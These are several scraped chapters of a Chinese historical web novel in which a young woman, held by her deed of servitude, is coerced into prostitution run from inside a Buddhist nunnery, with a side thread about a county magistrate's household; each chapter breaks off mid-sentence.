应怜立着发愣，慢慢到了妆镜前，度尘清秀的脸映在镜中，那眉却早已画成了。 “画呀。”度尘塞了香墨在她手里，催道。 度远已先走了。应怜只得又在那双远山眉上描画了几笔，端详半晌，觉着与方才没甚分别，只得道：“成了。” 度尘挑挑剔剔地照镜子，而后打发她离开，却不咸不淡地叮嘱了一句：“慢着，值钱的家伙什收拾好再走。” 说罢，也不待应怜有何答对，径自离了屋，找隔壁的师兄弟说话去了。 应怜摸不着头脑，半晌忽然想起，她还藏了个小银疙瘩在枕下，许是某次收拾时，被度尘见着了，怕有瓜田李下之嫌。 她想了想，觉得塞鞋尖里怪难受的，便揣入了僧衣下短衫的内襟，又将衣摆在衣带里扎紧了，掂量着怎么跑跳都落不出来，这才去了。 法持一向在后殿静室内参禅，今日也不知要讲什么经。应怜心中忐忑，自忖对佛理半通不通，怕师叔说禅讲道，自己一个领悟不到，被借个由头又赶下山去。 所幸一切安稳，法持师叔不过讲了些大乘禅、小乘教、南北宗之类，都是她曾有所耳闻之道，应对得也还都通达。 只唯一一样她不曾领悟的。法持问她：“你可知何为欢喜佛？” 应怜摇头。 法持微微一笑，肃谨面目忽而掺入了点别的，教她有所不安，却说不上哪里怪异，好似枯木逢了春，天罗地网于密布浓云里初显了出来。 · 再从禅室出来，应怜就有些心不在焉。 度尘也比向来更晚回来，却提来了她的食盒，亲自布了饭菜。 这一餐吃得食不甘味，应怜几次望着她平淡如常之色，欲言又止，脸一阵红一阵青一阵白。 最后还是度尘开口：“快些吃，吃完了午睡，睡完与我一道去参禅。” “什么禅？”应怜更吃不下了，肚里抽抽着，连肠子仿佛都打了结。 度尘坐在她对面，虽剃了头，七情六欲、嬉笑怒骂却一样未除，闻言露出一点厌烦，也不知是向着应怜还是别的什么，“做什么扭捏之态？我原以为你……原来也是个卖皮鹌鹑的。” “什么鹌鹑？”她低头看碗里，今日肉食是一尾肥鲤鱼。 度尘不答，反又道：“今日不过教你晓得我们这一行的规矩，与你那青玉阁有所不同。你看我做什么，快吃！” “你如何知道青玉阁？”应怜一怔，死死盯着她，喉中发紧。 度尘撇撇嘴。应怜骤然醒悟，舍了碗箸，扑去衣奁，开了锁便翻腾那张身契。 没有、没有、都没有。 她把衣物翻得一塌糊涂，然后 11.第 11 章 《惜奴娇》全本免费阅读 应怜哪里肯依，拔腿起身就要往后逃，动作间带起一阵风意，使那烛火呼啦啦晃颤不止。 门就在眼前，不过一二十步远，还不足几跳之距，只要拉开横贯的门栓，跑出去便是一番天清地明。她可舍了这些不堪入目的密宗壁画，一口气往前跑，跑回自己那院儿……不，跑出西院。 她甚至就可一鼓作气，跑出后殿、跑出前殿，离了这笼罩着不祥的肮脏地界。 转身之际，雷鸣电闪轰然于她脑中劈过，般般不能语、不可道的龌龊细节，终于连贯成行。度尘轻佻的举止行径、同处而居的秀美女僧、节辰香火的冷落、法持诸般施恩引诱…… 前出虎穴，后入狼窟。什么佛寺，不过是披了遮羞布的又一处青玉阁！ “慢着。”也无人来追，不过法持轻飘飘的两个字，利箭也似追她而来。 明知不该回头，应怜却脚步一滞，人已在七八步远，却终究回头扫了一瞬。 她骇然叫出声。 法持正捏着一张薄薄的纸，刷啦啦一角微微掀动，连章带押，移近了灯盏，不紧不慢地烤在焰尖上，“你远一步，我便烧一角，接着你还得乖乖听话。若太拗了，我便告首官府，报你个逃奴之罪，如何？” 火舌烫得那字纸发黄卷蹙，再下移半分，墨迹便要看不清。 “回来吧，外头有师姑们守着，你走不脱的。”度尘神态柔顺，眉目于烛火中晦暗不明。 应怜牙咬得死紧，身子颤了起来，是气的，也是惧的。 烛光将她的影子投到污浊壁画上，瘦得仿佛被欢喜佛轻轻一掐便要折断。度尘见她僵死一般不动，便起身一步一步，如壁上明妃含睇多情，一双手搭上她腕子，却硬得像金枷铁钳。 应怜被她几乎拖拽着，重新按坐在了蒲团上。 “你们不怕……神佛降罪么？”她脸色苍白，挤出一句。 法持却道：“我们谦卑侍佛，佛陀怎会降罪。” 度尘仍钳着她的手，松了几分力道，却暗暗捏了她一下。 她怔怔然屈辱地瞧过来，望见她不言不语的眼眸里，明明白白写着两个字。 听话。 她别过头去，将眼泪死死锁回眼眶，不愿教她们看出一点。那身契犹如一顶金箍，把她箍得喘不过气来。 壁上跃动着狰狞的明王，扣住嵌入怀中的明妃。她见那些明妃，个个似笑似喜，却总仿佛眼底纳着忧惧悲戚。 听话。 度尘看着她，轻轻宽解她的腰带。 午食的饭菜在她胃里翻腾，一阵阵的恶心迫人咀嚼。应怜僵着身子，抖若筛糠，想系回腰带，脸上却被度尘不轻不重地扇了一下。 “你以为你是谁？”度尘认认真真地望着她，咫尺的距离，莫若说望着她眼中倒映出的自己，“你以为你还有贞洁？” 愤怒与绝望的洪流捉住了她，攥住她脚踝，掐上她腰身，一直没过她头顶。她被羞辱淹没。 听话。 度尘看着她，又褪了自己一件衣衫，酥雪的肌肤显露出来。 法持对她却并不大满意，仍苛刻地挑剔，“青玉阁怎么调教出这么个木头似的人样儿？脱了衣裳像个骷髅架子，当真空长了一张脸。” 应怜只剩了贴身的小衣。她被度尘迫着坐于她腰腹，效仿那虚凰假凤的明王与明妃。 微尘里黏腻着灯油腥腻的气味，烛焰明明灭灭地晃着，也不知哪来的风声扰动。她只觉胃里一阵一阵上翻，只在度尘扯她最里一件抹胸时，终于一个忍不住，嘴一张，哇地吐了出来，呕了度尘丰丰饶饶的一身。 眼见着度尘的脸绿了。 …… · 后头半日，度尘洗了三遍澡，又骂了她三十遍，直到入了夜，也仍旧愤愤不休。 “你怎么搞的？只脱个衣裳，又不是割了你的头！”度尘披着崭新的柔软细布衫子，撑在床边发恼，“我实不懂，你摆个清白贞烈的样子给谁看？谁不知你是青玉阁出来的，那般欢场的事做的还少么？” 应怜呆呆地对面而坐，也不看她，也不看别的，在渐入昏黑的屋里，犹如突兀挂在枝头的寒鸦，不合时宜、格格不入。 度尘懒地去点烛火，视野里应怜的身形便愈发地深，待最后已看不清，那周遭彷如陷入了一滩死气沉沉的漩涡里。 从回来后，她就这么呆愣愣地坐在这里，连句话也没有，前日里拌嘴时那点泥捏的气性也没了。 度尘便不去理会她，背过身赌气地躺了，折腾了半日，不一会儿，竟也困乏地睡了去。 应怜还枯坐着，不知多久。 她没去解释自己究竟是不是头一遭，也没在度尘讥笑怒骂的眼里，辩驳自己清不清白。 她弄明白了一件事：从落入青玉阁的第一天开始，在世人眼里，她已就没了清白。 哪怕事实上她什么也没做。 连带着失了“清白”，她也就被万夫所指，成了世上德行最败坏、品格最下.贱的那一批人。她从此会被打上“放荡”的烙印，一辈子抬不起头来。 甚至即便在青玉阁那日，她撞柱而死，那也是带着天底下最肮脏的名声去死，再多的血也洗不净这种脏污。 就在最后一丝天光失灭的刹那，她些微明白了娘亲为何干脆利落地选择去死。 昏昏黑黑的轮廓里，度尘均匀的呼吸无知无觉地传来。 人与人如此迥异，她娘仅因不能忍受“清白”有损半分而直截了当地自尽；度尘却心甘情愿放弃名声，活得如鱼得水。 那她呢？ 应怜扪心自问。原来她竟一直怀着母亲死前的屈辱，又像度尘一样苟且地活。 世上有如此拧巴的人么？ 她又坐到了半夜，直到腿脚、腰身都开始酸痛，这才恍然。 “我的命，是宗契师父九百两换来的。”她嗓音已沙哑，刮擦着连自己的耳朵都觉得难受，但就这么说与她自己听，“我不能死。我想活，他也想让我活。” 她起身，就着黑，摸了块巾子抹脸，接着合衣躺下，又乱糟糟地想了一会心事，设想出了最不堪的那个打算。 一时的屈辱，总不至一辈子都得受。她还能逃，那范碧云不就逃了么？ · 应怜本 12.第 12 章 《惜奴娇》全本免费阅读 暗室里置了矮榻，仍铺着夏时的丝簟瓷枕，供人消暑。但在入秋渐深的夜里，一点沁凉如入水之墨，愈晕愈广，使人平白起了一层寒意。 角落原立着灯架，花枝一般的烛火若密密地点起来，也是够燃亮一室馨暖的。而今掺了蜜香的烛泪冷凝，烛芯冷落，正如她身下所堆丝绢凉薄。 壁上却又有通透的光，显显晃晃，源流不绝地照入昏沉的幽暗里。迎着这光，吃酒醉笑之声便丝丝入耳，蚊蝇逐血一般挥之不去。 暗室机巧，便用来做这鄙贱的、入不得人耳的勾当。 应怜一动不动地坐在榻上，正对着几点一豆大小的孔隙，零碎地勾勒出一整副乱糟糟的行.淫画面来。 度尘穿的是她为她挑的层层衣衫，春日朝霞，般般入色，眉眼是精细描画后说不出的柔媚婉转，任顶上光洁，将那佛性如一层寺绫揭去，轻飘飘落在地上，由那酒色财气的李大官人践踏揉搓。 李大官人伸手够她，却将将够不着，只眯着一双肥挤的眼，油光满面地赏玩那寺绫被一件件褪下，一层、又一层。 朝霞便渐渐没了绚烂光彩，青山失了翠秀风骨。度尘似笑非笑，待只剩最后一件，薄罗尽透，偎入人怀，娇声细语：“奴奴这绫罗可还入眼？” “入眼、入眼极了！” “那大官人便置下，也不值几个钱，只当搏妻妾一笑，如何？”她又道。 万般情状不堪入目。 度远侍立在侧，却平常僧衣打扮，低眉垂眼，竟还执着一串佛珠，被人言语挑逗，也不气恼，只半羞半怯地一笑。 同来的锦衣恩客便强拉她入怀，任她委屈万状，强使恩爱。 应怜闭上眼，不忍再看。 度尘的提点又于黑暗中响起：“逢场作戏，也需一些手段，以笼络不同人的欢心。你若想依我，便将这些看在眼里、记在心中，强似像个木胎泥塑，巴结不到财神，被那些虔婆苛责。” 闭了眼有何用？她又不是聋子。 假作不见又有何用？她为泥淖中人，是洗也洗不清的了。 她再睁眼，强迫自己去看。 度尘正与他调笑，“些许日子不见，奴心里想大官人想的紧。可纵私心想许大官人一回，却又怕坏了规矩。” 她又度去一口酒，恩恩爱爱。那人搂定了她，便道：“卿卿，你今日若伺候我二人舒爽了，我赏你个宝贝。” 说着，他从怀里取出一方寸大的锦盒。度尘抢过去，嬉笑着打开。 她背着度远，却正侧着应怜看来的孔隙。应怜得以看清，那里头明晃晃躺着颗半寸的珠子，耀目灯火流转其上，化作一连模糊温润的光点。 她听见了度尘清清楚楚的吸气声，瞧见她喜形于色甚而忘了掩饰的长大的嘴，以及一旁度远投来的艳羡嫉妒的目光。 应怜明白，这样硕大的珠子，只一颗，便将她那两件络满彩饰的衣衫都比了下去。 · 她并未彻夜居于暗室，待到几人转入内间，便悄无声息地离开了。 此夜，她一人独眠。 浑噩的梦中，那些青面獠牙的影子有了实在的一张张脸，他们喝得酩酊大醉，脸颊肥腻，目光流连处，蛆虫蚊蝇便扭攀撕咬在她身上，将她从本就不安稳的浅睡中骤然惊醒。 嘭、嘭、嘭。 有人敲门，声音细微，但在阒寂的夜里清晰突兀。 应怜几乎应声而起，一个箭步弹下床，慌里慌张地想抄根什么在手里护身，却一时什么也捞不着，声音不自觉地发抖，“谁！” 外头那人声若蚊蚋，挤过门隙，同样发颤地刺进来：“开……开门……” 是度尘。 应怜吓出了一身汗，忙不迭地抽开门栓，甫一开门，便接住了个半跌半倒的身子，香气混着酒气、汗气浓浊地喷了她一脸。但度尘的身子发凉，抖得几乎站不住。 饶是如此，她挣扎着要关门。 四只手忙乱无章，好容易锁了门，应怜探手在她额上一摸，竟一头的冷汗，情知不妙，“你怎么了？” 她将她拖拽地安置上床，正要去点灯，却被度尘拉住，“别点灯！帮我……痛……” 那只手攥得极紧，应怜几乎掰不开。 “哪里痛？”她早已没了睡意，也不顾什么，趁着黑四处摸她头脸身子。 度尘哭了起来，从未如此慌乱，“救我、我要死了……救我……” 没有血，身上黏黏腻腻的，尽是汗。她胡乱披裹了一件衣衫，却是度远的。 应怜顾不得她，仍是强去点了支蜡，一豆灯火黯淡得几乎照不清什么，却恰够她所用。 度尘死死捂着腹下，脸上失了血色，粉妆早已花了，望向她求救时，活像个半死不生的鬼。 “太深了，我取不出来……”她半捂着脸，泪与妆粉狼狈而下，另一只手抖得止不住，试图探向身下。 应怜慌乱地去找手巾，又将半壶热水找了盆倒下，忙了一气。 “去取脂膏来。”深吸一口气，度尘强稳住声音，因疼痛而失了耐心，死死咬住唇，才不至尖叫，“快去！” 她从未做过伺候人的活计，此时做来既笨拙又生疏，热水端到一半，又去翻镜奁里收的脂膏，差点打翻了铜盆。 好容易递来脂膏，度尘却不接，只是吸气，好容易又攥了她的手，颤巍巍按向衣里。 应怜既茫然又恐慌，“做、做什么？” “蠢货！”度尘抽泣着，粗鲁地迫那只手往里一探，“抹脂膏，把珠子给我弄出来！” 一瞬间，应怜的动作仿佛僵死，整个人被钉得一动不能动。 白日里那些下定的决心、暗发的誓，在这方寸大小的昏黄里，一霎时消失无踪。 说不出是什么感受，震惊，抑或恶心，在短短的一次目光交汇的时间里，通通化作一片空白。 她眨了眨眼，却不知眼泪何时淌了下来，顺着面颊砸在她们杂乱的衣衫上，与酒渍污渍晕开在一处。她摇着头，“我不、我不会……我去给你找大夫……” 说着要起身。 度尘拖住了她，几乎用尽全身力气，动作一大，疼得一颤，一字一句从紧咬的牙缝里挤了出来，“你去，我就死给你看！那 13.第 13 章 《惜奴娇》全本免费阅读 先行钱。 应怜仿佛有所耳闻，那是她爹在家中发怒时，常提及的一事。 【朝廷发放先行钱，使农得钱买苗、商得钱周转，收息极少，本是好意。然升斗小民，一利障目，得了钱便不思长远，一气耍用殆尽；待到还钱之日，竟一文也交不上来。朝廷既失了本钱，百姓又未得实利！】 她便也跟着觉得，这不是个好东西。然度尘这话，分明又非如此。 “后来呢？”她不由问。 “后来……不知哪里，出了一篇文章，说先行钱是个害人的东西。”度尘道，“县里传抄了文章，便使人查起来。忽有人告首，说我爹身为制墨的‘雅工’，竟拿先行钱去赌，所出的墨失了品格。此后便再无人买我家的墨。” 往后不必再问了。卖不掉墨，哪来连本带利还官府的钱呢？ 应怜想安慰，却不知从何安慰起，只得随口问：“那文章……叫什么名？” “《夺民利说》……又或《先行夺民利说》，记不清了。” 半晌不见应怜搭话。 度尘歇了会，觉着又好些了，挣扎着下床，细细地洗了珠子，在镜奁与箱奁间来回地踱，寻一个妥帖的安置处；又费力地找了颗大小、品色皆不如的蚌珠换了，这才趿好鞋，仍要回李大官人处。 “那珠子我收好了，若明日找不见它，拿你是问。我回了……你怎么了？”她见应怜一动不动侧卧在床，却将脸埋在枕中，便问。 那脑袋摇了摇，有气无力的声音闷闷道：“你回吧，我收拾。” 度尘便往外走，走到门口，顿了顿，回头安抚，神色已平平淡淡，“你莫要慌张，等我明日回来，一切再计议。” 脚步声轻如无物，幽幽地来了又走，再没了声响。 残烛本就低矮，渐渐燃到了尽头，成了铜灯盏里一滩凝腻。不知哪一刻，米粒大的微火终于熄灭，一室复归幽寂。 应怜记起要去关门，还得收拾一地凌乱，将脑袋从枕间抬起来，却已晕得满脸是泪。她胡乱拿衣袖擦了，每走一步，便想起度尘的话。 字字如刀，割得她鲜血汩汩。 《先行夺民利说》，她怎会不记得。那是她爹据上疏议呈写下的文章，洋洋洒洒好几千字，句句义正言辞、动人肺腑。 那分明是体恤草民的好文章，无一字不为民、无一字不在理。她至今仍记得爹为琢磨这篇文章，熬了好几宵，成稿付梓时的动容之景。 却害得人破家离散，又究竟为何。 收拾完了一切，她复又躺回床上，怔怔地想纷杂心绪，终究敌不过折腾一番后的困意，惶惶无依地睡去。 深月玄云，淡淡明暗，中霄也才过半，人皆睡着，夜还长着。 · 夜还长着。 秦氏忽从梦中惊醒，一个激灵，竟出了一身的冷汗。 “哎，我仿佛听着有动静。”她推推身边的丈夫。 她本是小家女，嫁了同出寒门的吴氏子，二十年来，夫妻和和美美；丈夫吴览又是个有出息的，早早地得了个进士出身，外放做官，如今两任磨勘期将满，即将携女随夫赴任江宁府。 吴览也未深睡，一动便醒转。两人细听来，确是有些微脚步与说话声。 “我去瞧瞧，你先睡。”他安抚发妻，披了件薄薄的氅衣，一面匆匆穿鞋束带，一面拉开门到了院里。 自三年前放到吴县来做知县，他便携家眷住在衙署后头，每日点卯上值，连出大街都不必。 转过几道前后院的门廊，果然遥遥见几幢火把明晃，是都头带着衙役们正分派队伍，主簿立于人群，吩咐各处查点；不知出了何事，竟惊动了十来名弓手，正俯首听令。 “有贼人夜入？”吴览过去问。 几人见是知县，忙各自行礼，都头道：“并不曾见贼人，只更夫来报，说隐约听见动静，我等便警醒些。” 吴览心中一动，问了一句：“库房可安稳？” “已着人查了，一切安稳，大人放心。”都头道。 他放下心来，令衙役们自去巡卫，正要回转，却见主簿于一应人后，悄悄与他打着眼色。 吴览不动声色，待打发了众人，与他来到僻静处。县丞便附耳上来，说了几句。 吴览人到中年，又宦海沉浮了近十载，早已练就一副八风不动的稳肃君子之态，此时却微微变了面色，催道：“走！” 库房是整座衙署的重中之重，里头正有一批刚铸就的银铤，只待送去平江府，作今岁的盐铁税钱，万不得有失。 另一则不足为人道，只他与主簿两人清楚：那一口口包铁角的黑漆木箱里，有三箱一般无二地贴着封条，却不是银铤，里头满盛了珠玉牙翡、古玩珍器。 ——那是用作将来上任时，给上官的打点钱。 一个是他官命所系；一个是他扶摇青云、施展抱负的东风。 · 秦氏惴惴不安地等着，生怕转任临了又出差池。一会儿，外头传来慌乱急促的脚步声，映在雕花木门窗格上的却不是吴览，是她女儿彩儿的影子。 她忙去开门，却见彩儿披散着长发，一把扑进怀里，“娘，我怕……” “又做噩梦了？”秦氏松了口气，把她带进屋。 辗转廿载，随夫赴任南北，通共只得了这么个女儿，如珠似宝地疼着，如今见她满脸是泪，秦氏心里也疼起来，抱着她哄劝，“无事、无事，梦而已，都过了！” 彩儿钻进被子，头埋在秦氏怀里，哭得上气不接下气，“我又梦到那、那袁衙内了，他抓着我衣带不放，把我拖进黑窟窿里……” 秦氏心胆如摧，一面哄，一面又勾起年前的后怕来。 为着这一次磨勘转任，丈夫赴京了一趟。彩儿慕洛京繁华，磨了她也一同跟着去。 不想大相国寺里，正逢着个混账魔星，见彩儿颜色好，硬抢了家去。万幸绝处逢生，被人所救，否则便要天人永隔。 “你没听你爹说么？那袁衙内被他爹捆去了大理寺，连他爹一同都被罢黜了官职，再没甚好怕了。”秦氏宽慰她，又道，“你便和我睡，待会你爹回来了，让他去西屋。” 正说着，门被蓦地推开。月映满天，衬着高高瘦瘦的影子，是吴览。 秦氏刚安抚完这个，又去迎那个，见丈夫面色不对，忙问，“怎么了？” 吴览回屋，压根没见女儿，魂不守舍地往桌边一坐，木木地发愣，月光照在他的脸上，竟如水洗过的苍白。 “出了何事？”秦氏发慌，忙倒了壶温茶递去。 14.第 14 章 《惜奴娇》全本免费阅读 莲台寺这一早便闹闹嚷嚷。 晨起，度尘伺候李大官人漱洗了，又狎昵一番，妥妥帖帖地将人送出去，正要回头补个回笼觉，却早早地见法持带了人来。 原是度远请她而来，低眉顺眼，跟在一行人后头，不言也不语。 度尘便猜着了八九分。 果然，进屋后，法持不理会那些残香冷酒，径自到她跟前，手一伸，“拿来。” “师叔忒心急，大清早的，连把觉也不让人睡了。”度尘半嗔半笑，拿眼扫了一回躲在人背后的度远，“小娼.妇见过几件好东西？就巴巴地到师叔跟前卖乖。” 说着，从贴肉的衣里取出那颗蚌珠。 法持左瞧右观，点点头，又不甚满意，叫来度远，“你瞧瞧，是这颗不是？” 度远依言上前，细细观量。 度尘不乐意了，脸子一垮，一件件穿回绫衫，在勒帛里束好了，披好皱了一夜的褙子，榴裙上还晕着微深酒渍，不咸不淡地讥讽，“这都还没焐热呢。师叔若瞧不上眼，还赏了我吧。我没本事，下次教度远给您老一个更宝贝的……” “不是这颗！”度远叫起来，捏着那珠子，“我昨夜里瞧得真真的，那么大一颗……” 她捻开二指比划。度尘便拍掉她的手，“没本事讨赏，倒有本事眼热！” 两人便争执起来。法持着人拉开二人，先各自安抚了一遍，再道：“亏不亏心，一查便知。你二人都清楚寺规，谁若打诳语，谁便自去领罚。” 说罢，打眼一扫带来的那几个女僧。 几人便翻箱倒柜地找了起来。 度尘只抱着臂，冷笑着看她们翻捡。 度远却又凑近法持，在她耳边咕哝絮叨了几句，谁也听不清，但见法持拆出一半人，并度尘也在内，“你的住处离此不远，要查便一并查了，查不出，师叔给你赔罪。” 度尘心里呕得要死，面上还得陪出一丝笑脸，“要搜便搜，我哪敢教师叔赔罪！” 一行人便簇簇拥拥地挤到西院来，又带了隔壁十来个沙弥尼们随着瞧热闹，阵仗大得像过年似的。 有人拉住度尘，问：“你又藏了什么宝贝，犯了咱师叔的忌？” “我哪敢呀！”度尘白净的脸扬得高高的，横剜了一眼度远，声量又脆又大，“是有人自个贴着摇钱树，摇不下钱来，却会窝里横，想给我个哑巴亏吃呢！” 有人便又道：“定不会在度尘住处。可别忘了，现今她那里还有个柳惜呢，眼热这宝贝的，可未必只有一个……” 几双眼上下扫量度远。度远面皮薄，血气往脑门一冲，口不择言便道：“谁窝里横！谁眼热！我至于眼热自家人的东西么！那柳惜又是什么安分的玩意儿？你们不说她，倒来敲打我！” 几人穿廊过院，已到了檐下，今晨是个和畅的朗日，熹光已渐浓，凉夜尽驱，刚有些微暖，度尘心里懊恼着，嘴上便阴阳怪气的。 “安不安分我不晓得，至少人家没像有些人那般，成日价琢磨别人的东西……” 几人一齐推开门来，望见门内之景： 应怜坐于度尘的镜奁前，正用她的胭脂抹着脸，先头一层妆粉已是匀淡地扫了，愈发粉雕玉琢；眉也描画了一线远山，细细地像要勾出人心底的情意。 镜奁边的银面脂罐开着、画眉的香墨散着、扑粉的香绵随手搁着；若不是度尘不蓄发，想必连头油、簪钗她也一并替她用了。 想是未料这群人不告而入，应怜尴尬至极，拿手抹了抹刚做好的同心髻，髻上并无簪环，仍只一根带来的折股钗拧着。 她臊眉耷眼地叫了声“师叔、师兄”，离了雕花凳，站到一边去了。 度远噗嗤一声笑出来，“适才谁说的，她不琢磨你的东西！” 有邻院的沙弥尼推了应怜一把，她也没抬头，只是一把扶住了髻，生怕只一根折股钗，拢不好一头又浓又黑的发。 度尘恼了起来，脸涨得通红，嚷道：“搜吧！都搜！我就瞧着，瞧你们能搜出个子丑寅卯来！” 说着上前一步，把应怜挤到了身后。 接客的雅院处，搜屋的女僧一会儿到了，只报与法持说什么都没找着，便得了令，在这处又开始翻箱倒柜起来。 度尘的镜奁、箱奁、柜顶、床下，各处都搜了个遍，那两件华贵的衣衫被翻找出来，供人饱了个眼福。寺绫做的霞衫罗裙一件件堆在床上，似乱糟糟的丹青勾染。 末了一无所获，度尘也不看应怜，冷笑道：“怎么，我通共就两件好衫子，不如师叔一并拿去，下次贵人再来，我索性赤条条去迎他，左右入了夜也是要脱的……” 惹得众人吭哧直笑。 法持也有些抹不开脸，忽又想起什么，吩咐几人，“柳惜的箱奁也一并找找。” 应怜一急，“那我是我的东西！” 斜刺里横来法持的一双冷眼，仿佛嘲笑她的不识时务。应怜忍气吞声，掐着手心低头站了。 度尘的心也紧了起来，想往她那处瞥，又怕被人瞧出来。 她强笑道：“师叔，这呆鹅平日里最怕我，她必不敢的。就那么颗珠子，灯下影里，度远瞧不真切，才错辨了大小！” 话音刚落，忽听翻箱的人叫道：“找着了——” 度尘一口气没落下来，好悬没昏过去，激得泪差点没出来。 折腾了半夜，才得的这么个宝贝，真就还没焐热…… 那身强力壮的女僧捧着颗珠子，莹闪闪、亮润润，举至法持跟前。 “师叔，我没骗您吧，我说什么来着……”度远长出一口气，脸色都红润了三分。 几双眼睛齐齐盯过来，那珠子就躺在人手心里，瞧得分明。度远一下卡了壳。 “这也是宝贝？”一个沙弥尼不屑，“还没豆子大，这样的，我那里有一斛！” 再看应怜，脸红得将将要烧起来，衬着那粉和胭脂，真腮映霞彩，如芙蓉承露，教人一时移不开眼去。 度尘三魂七魄一霎时又归了位，好半晌回转心神，不走心地骂开了，“教你偷我的东西——” 说罢半真半假地夺回了珠子。 闹了一通，法持被闹了个没脸，最后也没搜出像样的物事来，只得狠狠剜了眼面色发白的度远，又向度尘赔了几句不是，带着人呼啦啦走了。 这一场，犹如蝗虫过 15.第 15 章 《惜奴娇》全本免费阅读 得亏度尘寺绫的料子多，她两个来来回回地系，足足络了条并三股的索子，又极力用手拔了拔，果如向前所说，那料子再韧不过，尽可承重。 度尘把碎锦层霞似的索子一股脑塞回箱奁里，应怜便又开始踅摸自己的家伙什，找来找去，不过两套换洗衣物，也就那小银疙瘩最贵重，便珍而重之地塞进小包袱里了。 度尘据此好几年，倒是攒了些家底，零零碎碎地不少；应怜便又来与她收拾，一会儿却被度尘嫌里嫌气地赶走，“你这团七团八的，衣裳都乱了，你替我把门去！” 应怜只得放下刚团了一半的一件褙子，拖了个凳子守在门外。 晌午将将过半，日头正烈着，晒得人影子都无处遁藏。但檐下清幽，风拂衣动，她自觉并不怎么热，百无聊赖地四处望着，又捏捏脸、看看手臂，不知这些日填鸭似的吃法，是否真的多出了半两肉。 偶有人踏进院，她便紧张，绷着个笑脸，假情假意地叫一声，“师兄，进来坐坐！” 那沙弥尼便被她唬回去了。 度尘隔着窗，小声与她叨叨，“你说话便说话，抖个什么！打摆子似的……” “我……”应怜咽下一口唾沫，声音又轻又颤，“我怕他们闯进来，你快些！” 话音甫一落，打外头又来了个人。 应怜只道又是个串门的，冷不防一个颤声，“师兄、进来……” 来的却是法持，后头跟着捧物事的沙弥尼。 上午刚见过一回，闹得彼此都不好看，应怜心中便咯噔一跳，一个激灵迎上去，“师叔，您怎么来了？” 声儿又大又脆，将两人都愣了愣，法持皱眉，“你素日的雅静呢？还有，坐廊下是为何？” 里头没动静，想来度尘已听了响儿。应怜讪讪应了声，“吃得撑了，出来晃两趟呢。” 她打眼又瞥了回跟着来的那沙弥尼，目光落在那叠衣物上。 ——除了衣裳，还有应时的花冠，那上头用纱绢、通草作了一年景的姹紫嫣红，另有花钿钗、金球簪、鎏金银梳背，皆玲珑华翠，使人欲把玩细观。 应怜脑中嗡地一声，似被一锤砸在脑颅，颤颤地竟想后退。 门忽两边一分，度尘迎了出来，眼光一扫，便在人与物上挑了个弯，笑道：“上午不过是玩笑，哪真要师叔来赔罪呢？您瞧……” “不是给你的，”法持不苟言笑，截住她话头，使个眼色，让小尼把头面捧进屋，道，“今夜有贵客至，言明要个新鲜窈窕的。柳惜，你去。” 应怜的脸倏尔白了下去。 度尘道：“您瞧她那呆瓜样儿！怎堪贵人驱使呢？师叔，您忒心急了点！” 法持却摆摆手，示意无转圜余地，看向应怜，“好生妆扮一番，入了贵人青眼，难道还会少了你的好处？” 她不多说，回身便走。 后头沙弥尼跟出来，到得应怜身边，略顿了顿，附耳说了一句，微笑着跟随离了去。 直到度尘将她扯回屋了，应怜才如惊了一场噩梦，心里说不上什么滋味，看什么、听什么、想什么都如嚼蜡，连度尘的模样落在眼里，都失了光彩。 度尘放她枯坐了一晌，任她自想着心事，直待日头快要西斜，晓得再不能拖，终执了应怜的手，一握才发觉，那双手冰凉潮湿，竟仿佛绝了生气。 她将她拉到妆镜前按坐，自己立于她身后，拔下细细的折股钗，打散了她的发髻。 珠子是早就取出来了，这一头青丝如瀑，度尘自忖，先前自己有头发时，也未必生得这般好。 瞧她仍细骨伶仃这样儿，原来进补却都补到头发上去了。 “度行与你说了什么？”她为她打理散发，问。 久久，应怜一动，回了三分生气进这肉体凡胎，乌沉沉的眼儿看向镜中，有些模糊，是她自己的眼中的潮意。度尘的脸在渐渐昏黄的天光里，有三分担忧、三分怜悯。 这些担忧与怜悯便又化作了她的精气神，催她强支应起来。 应怜道：“她说，只要我伺候得贵人舒泰，便放还我的身契。” “放还……”度尘冷笑着咀嚼这两个字，“她骗你的。当初，她们也如此对我说，只要我伺候得好，便将我送回家去。” “我明白。”镜中人的模样越来越模糊，应怜心头翻涌着不知是怒是惧，“我明白，我从不指望她们能还我身契。只是、只是为何是今日……怎么就是今日……” 桃木梳一梳到底，度尘的目光随之沉向发梢。应怜两行泪滚滚而下，憎恶地看着不成器的自己，抬手抹去眼泪。 好恨啊，为何只在今日。 明明今夜就要出逃，哪怕再晚一日、半日…… 她脑中浮现起那晚在暗室里，孔隙间挤来的脏乱的光，与残恶的香；浮现起李大官人被肥腻的肉挤没了的双眼，一阵阵地恶心。 真要使她委身于人，倒不如去死。 倒不如去死。 长发忽被一双手拢起，一条刺目的红缯紧束，映在她惧恨的眉目间，度尘一时没继续，沉默片刻，却翻出早已收拾好的包袱，取出里头层层裹藏的一样物事。 她拿来与应怜。 本作一根金簪，递到应怜手中，她便觉出份量不对。更轻，想是铜或铁的，包了一层金漆而已。 但这簪子比法持送来的簪钗都长，足够挑在一年景花冠的最显眼处。 “这是什么？”应怜觉着讽刺，“与我添妆？” 度尘从身后执了她的手，让她去碰簪身最尖细的末梢，“铁簪，虽不如金簪华贵，但比金簪更硬。” 天光仿佛更暗了一层，一晃眼间，却仍是夕时之景，整间屋子笼在温柔的斜阳里，每一粒浮尘流动，似乎都有应得的归宿。 度尘的话一字一句，恍如平常，包裹在淡淡的神色里，“这是我初至此地，央一位恩客买来的铁簪。本想着挨不过去时，便用它了断，但到底挨过来了。” 她又为她盘了髻，将浓密的乌发戴在花冠里，细钗银梳都妆点了，最后掰出应怜紧攥的铁簪，果然插在冠上最显眼处，一伸手便能拔下。 “我将它赠你。你若想死，便拿它扎破了喉咙，一了百了。”度尘搓来温热的手巾，擦了她脸颊的泪，“你若 16.第 16 章 再拐过一间院，眼前便陡然堂皇了起来。灯烛华光蓦地挤入眼帘，忙而不乱的脚步声与错杂的笑语泠泠随风扑来。借着光，宗契终于瞧清，这是一处四面雅致清幽的院落。 石桌石凳置在一棵经年的老桂树下，桂枝半掩半映，满树纷繁盈香。正房与耳房连廊相接，廊下错落植着花草；水缸厚重，于花草之间陈放多年，其上支出几片莲叶绰绰，凝露聚满堂上华彩。 正屋是一座二层小楼，门洞大敞，有沙弥尼端捧着瓜果酒食，进进出出，笑语相随，见了两人，俱来行礼，规规矩矩地又退出去。 至此，宗契心中觉着不妥，只没往深处想，又兼赵芳庭一意相催，便离了昏黑处，坐定在堂上。 